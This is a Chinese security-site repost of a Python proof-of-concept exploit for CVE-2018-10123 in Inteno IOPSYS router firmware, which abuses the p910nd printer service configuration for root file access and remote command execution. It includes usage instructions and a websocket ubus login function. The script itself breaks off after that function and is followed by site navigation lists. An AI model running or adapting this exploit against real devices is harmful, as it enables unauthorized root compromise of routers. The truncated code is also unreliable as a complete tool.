首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Inteno IOPSYS 2.0 < 4.2.0 - 'p910nd' Remote Command Execution
来源:vfocus.net 作者:neonsea 发布时间:2018-05-18  
'''
Any authenticated user can modify the configuration for it in a way which allows them to read and append to any file as root. This leads to information disclosure and remote code execution. This vulnerability has been assigned the CVE ID: CVE-2018-10123.
 
This PoC requires Python 3.6 and a module called websocket-client which you can install by evoking pip install websocket-client. Please note that if you wish to use this, you should edit lines 58-61 of the script to include the proper IP, username, password and SSH key. You may also edit line 63 to include your own code for execution.
'''
 
#!/usr/bin/python3
 
import json
import sys
import socket
import os
import time
from websocket import create_connection
 
def ubusAuth(host, username, password):
    ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps({"jsonrpc":"2.0","method":"call",
        "params":["00000000000000000000000000000000","session","login",
        {"username": username,"password":password}],
        "id":666})
    ws.send(req)
    response =  json.loads(ws.recv())
    ws.close()
    try:
        key = response.get('result')[1].get('ubus_rpc_session')
    except IndexError:
        return(None)
    return(key)
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WhatsApp 2.18.31 iOS Memory Co
·Intelbras NCLOUD 300 1.0 - Aut
·2345 Security Guard 3.7 - '234
·Nanopool Claymore Dual Miner 7
·Libuser roothelper Privilege E
·Linux < 4.16.9 / < 4.14.41 - 4
·Microsoft Windows 2003 SP2 - '
·Jenkins CLI - HTTP Java Deseri
·EMC RecoverPoint 4.3 - 'Admin
·Apache Struts 2 - Struts 1 Plu
·Dell Touchpad - 'ApMsgFwd.exe'
·AF_PACKET packet_set_ring Priv
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved